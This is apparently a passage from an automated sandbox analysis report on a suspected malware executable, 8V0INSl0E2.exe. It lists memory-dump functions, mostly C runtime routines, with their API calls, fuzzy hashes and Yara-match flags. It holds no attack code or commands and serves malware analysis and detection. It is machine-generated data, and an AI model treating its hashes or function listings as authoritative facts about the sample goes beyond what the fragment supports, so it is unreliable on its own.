Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: f0f91e21489dd2b3f5d61b396b93867de32033a5c1fb75f05031b5ab79b51d22
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: FA51B472A086069FEB29AF11E881B7AF7A4FF04714F1441ADDC05976B0E732B951CB60

Function 0040AE84 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040AF4B
___AdjustPointer.LIBCMT ref: 0040AF6E
___AdjustPointer.LIBCMT ref: 0040B00A

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 88ef4a02ba2930d6a04adc46f9a2f5105df9e51eba4518f207ac4bbffbfe15f9
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: E151D1B1600303AFDB299F15D841BABB3A4EF44314F14413FE801A76D2E739AC65D79A

Function 04D0A284 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D0A34B
___AdjustPointer.LIBCMT ref: 04D0A36E
___AdjustPointer.LIBCMT ref: 04D0A40A

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 310a62d73d8892820cd44f430255431bc3148a37fc81f5a5820d75d5061db37f
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: A3518BB2A053069FEB299F94D840BAA77A5FB64314F14C12EE946473D1E732F881D6A0

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 04B65CB0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 04B5FE6F: _free.LIBCMT ref: 04B5FE7D

Part of subcall function 04B6375E: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B688CA,?,?,?,00000000,?,04B68639,0000FDE9,00000000,?), ref: 04B63800

GetLastError.KERNEL32 ref: 04B65D18
__dosmaperr.LIBCMT ref: 04B65D1F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 04B65D5E
__dosmaperr.LIBCMT ref: 04B65D65

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction ID: 234737ca5651d27d88351972188bb9b8350f9b42a595980b5a78a802e0359265
Opcode Fuzzy Hash: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction Fuzzy Hash: B2210A71600609BFEB30AF65EC84E6BB7ADFF402687108598F82B97190E734FC5197A0

Function 00415A49 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0040FC08: _free.LIBCMT ref: 0040FC16

Part of subcall function 004134F7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,0041384C,?,00000000,00000000), ref: 00413599

GetLastError.KERNEL32 ref: 00415AB1
__dosmaperr.LIBCMT ref: 00415AB8
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00415AF7
__dosmaperr.LIBCMT ref: 00415AFE

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction ID: 3f7c4113f524ad2c0abd5e3f91609bb3d7c3a41f61a1f3e5b12bbd4c913db815
Opcode Fuzzy Hash: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction Fuzzy Hash: 5221D871604615EFDB20AF66DCC19EBB76CEF443A8710862BF82497291D73CED8187A4

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 04B61DB1 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: 10e501a6326293b87989ebfde8b0c7f65731c8e05e915298dfd041b8bb7db764
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 8D21BB71F01221ABD7318B6C9C84B5E7768EF457A4F154DA1ED17A7290EA38FD00C6E4

Function 04B61464 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(04B5213F,?,04B52143,04B5C610,?,04B5213F,0041D0A0,?,04B61714,00000000,0041D0A0,00000000,00000000,04B5213F), ref: 04B61469
_free.LIBCMT ref: 04B614C6
_free.LIBCMT ref: 04B614FC
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B61714,00000000,0041D0A0,00000000,00000000,04B5213F), ref: 04B61507

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction ID: ac2e866c640517f47925a112d1fe9811a7f048fae99d2439ae5fcbaa023ac5ce
Opcode Fuzzy Hash: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction Fuzzy Hash: 6B11C2327002042BF6213ABDAC89D3A265ADBC1379B6446F4FA27971E0EF2DAC129515

Function 004111FD Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00401ED8,?,00401EDC,0040C3A9,?,00401ED8,74DEDF80,?,004114AD,00000000,74DEDF80,00000000,00000000,00401ED8), ref: 00411202
_free.LIBCMT ref: 0041125F
_free.LIBCMT ref: 00411295
SetLastError.KERNEL32(00000000,00000008,000000FF,?,004114AD,00000000,74DEDF80,00000000,00000000,00401ED8), ref: 004112A0

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction ID: cded345c8d5c530dafeb31fb37215a8dc2974a232bbf80fd36b18c5a372c037c
Opcode Fuzzy Hash: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction Fuzzy Hash: 8011A7327005002A965127B57C86EFB26698BC57B8B64037BFB15E22F1EA3D8C92411D

Function 04B615BB Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,04B5C5A5,04B62748,?,?,04B5A3C2,?,?,?,04B51353,?,04B5370E,?,?), ref: 04B615C0
_free.LIBCMT ref: 04B6161D
_free.LIBCMT ref: 04B61653
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B5A3C2,?,?,?,04B51353,?,04B5370E,?,?,?), ref: 04B6165E

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction ID: 74e6d6586d59cf540c062be9ddf1d1c3793cff97aad6a84319b88144a8058078
Opcode Fuzzy Hash: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction Fuzzy Hash: C0110836B002003BF72266BDAC85D3A325ADBC1378F6403F5F527961E0DF6DAC115115

Function 00411354 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0040C33E,004124E1,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?), ref: 00411359
_free.LIBCMT ref: 004113B6
_free.LIBCMT ref: 004113EC
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004113F7

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction ID: 755f6b258ceaa8e65099160f8bc9def63f750f9b951ab46e134be7d7a93c0062
Opcode Fuzzy Hash: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction Fuzzy Hash: AD11CA317005042BA611277A6C82EEB16598BC13B8B64033BFF24821F1EA2D8C92411D

Function 04B5C07E Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,04B5C13F,?,?,0042B000,00000000,?,04B5C26A,00000004,0041EAFC,0041EAF4,0041EAFC,00000000), ref: 04B5C10E

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: 898653dc82727d8dd82b85a0411300cbdfee08f486e8e4b98f034cdf5c12c683
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: C811A731E41321ABDB225B789C45B9DBB75EF057A0F1541A1FE11B72A0D670F90086D9

Function 04D0A1A4 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D0A1C0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D0A1D9

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: d6743a8683031a3c917c2138566a034c36869e37b34185b47a8c69e5e2325d7c
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: 5F01843230D3116FEB342EB47C84BAA2B94FB65679770823AE910572E1FE1A78125255

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2600156723.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2600132481.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600182556.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2600204209.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_8V0INSl0E2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 04B6B089 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000), ref: 04B6B0A0
GetLastError.KERNEL32(?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000,00000000,00000000,?,04B68863,?), ref: 04B6B0AC

Part of subcall function 04B6B072: CloseHandle.KERNEL32(0042A930,04B6B0BC,?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000,00000000,00000000), ref: 04B6B082

___initconout.LIBCMT ref: 04B6B0BC

Part of subcall function 04B6B034: CreateFileW.KERNEL32(004265E8,40000000,00000003,00000000,00000003,00000000,00000000,04B6B063,04B6AD23,00000000,?,04B6830F,00000000,00000000,00000000,00000000), ref: 04B6B047

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,04B6AD36,00000000,00000001,00000000,00000000,?,04B6830F,00000000,00000000,00000000,00000000), ref: 04B6B0D1

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: 712831ebce8c7416a1db468e1cb6416e1177e5f1823a03889bfcc03e9bee3872
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: 9FF03036901124BBCF226FA1DC089D97F36FF086A4F054460FE1ED6130C636A961DB95

Function 0041AE22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000), ref: 0041AE39
GetLastError.KERNEL32(?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000,?,004185FC,00000000), ref: 0041AE45

Part of subcall function 0041AE0B: CloseHandle.KERNEL32(FFFFFFFE,0041AE55,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000), ref: 0041AE1B

___initconout.LIBCMT ref: 0041AE55

Part of subcall function 0041ADCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041ADFC,0041AABC,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041ADE0

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041AE6A

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: ee4a97f4c5e0560d025622a6e285d837d398bf1ce1ecb10de8e4d9e98fca97b7
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: 26F0F836942214BBCF222F929C049CA3F26EF087A5F054025FA0985130C63689B19B9A

Function 004091F8 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409195,00000064), ref: 0040921B
RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409225
WaitForSingleObjectEx.KERNEL32(0040104A,00000000,?,00409195,00000064,?,?,?,0040104A,0042BB40), ref: 00409236
RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040923D

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction ID: 40c2fce60939aafa0776eae2e2369d18d4b8ec69fabe1ce25dfd7c9304a85116
Opcode Fuzzy Hash: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction Fuzzy Hash: 67E092B1B40234BBCB112B90FE08ACD7F24EB0CB51B458072FD0666161C77D09228BDE

Function 04B60CAD Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B60CB6

Part of subcall function 04B61D29: HeapFree.KERNEL32(00000000,00000000,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?), ref: 04B61D3F
Part of subcall function 04B61D29: GetLastError.KERNEL32(?,?,04B672DB,?,00000000,?,?,?,04B67302,?,00000007,?,?,04B675E1,?,?), ref: 04B61D51

_free.LIBCMT ref: 04B60CC9
_free.LIBCMT ref: 04B60CDA
_free.LIBCMT ref: 04B60CEB

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: 12d1ad5acca3a230a4014d0cfece372d21223487b5c98b8b168eb06ab3590b9b
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: A6E0EC79A13334AA96366F18BD40449FF69FBD8B143850076E52112230C73A2553ABCE

Function 00410A46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00410A4F

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00410A62
_free.LIBCMT ref: 00410A73
_free.LIBCMT ref: 00410A84

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction ID: 4f604ca58aada12d27b251242fa97a7c83cac521b99ee6611507b97af23f288b
Opcode Fuzzy Hash: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction Fuzzy Hash: 46E0EC71B13360AA8632AF15BD41589FFA1EFD4B543C9003BF50812631D73909939BCE

Function 04D0FE46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04D0FE4F
_free.LIBCMT ref: 04D0FE62
_free.LIBCMT ref: 04D0FE73
_free.LIBCMT ref: 04D0FE84

Memory Dump Source

Source File: 00000000.00000003.1907665931.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_8V0INSl0E2.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: 9e77dd43e16f226c77f52d408170e4a81892d2b6fcb1cb276e2ad215f5ea0844
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: 87E0EC71B13320AA97337F15BE8044AFF61EBD4B143C5003AE80812631C77629939BDE

Function 0040F8ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0040F97D

Strings

pow, xrefs: 0040F955, 0040F972

Memory Dump Source

Source File: 00000000.00000002.2593337448.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2593337448.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8V0INSl0E2.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31981e0ef883c4d92876c0cf8fbbce67339a08b3983a5bf5b0a922faacb7e412
Instruction ID: a4333340e488540e58a7cc811cab45b4078f0fd2139a3ee8952107b79a1fd4b1
Opcode Fuzzy Hash: 31981e0ef883c4d92876c0cf8fbbce67339a08b3983a5bf5b0a922faacb7e412
Instruction Fuzzy Hash: C15190B1B08601E6CB317718C9413EB6BD09B80701F64497BE495527E9EB3C8CDA9E8F

Function 04B603E4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\8V0INSl0E2.exe, xrefs: 04B60427, 04B6042E, 04B60464

Memory Dump Source

Source File: 00000000.00000002.2599156918.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_8V0INSl0E2.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\8V0INSl0E2.exe
API String ID: 0-561037814
Opcode ID: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction ID: 6ec61ae776d91ba0ec407f097d746dd00b1021db5fd28e89e15f9edbca5c8fa0
Opcode Fuzzy Hash: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction Fuzzy Hash: CA416871B00218AFDB25EF9EDC809AEBBB9EFC5314B1000F6E906D7251E774AA41CB54

Function 0041017D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\8V0INSl0E2.exe, xrefs: 004101C0, 004101C7, 004101FD

Memory Dump Source

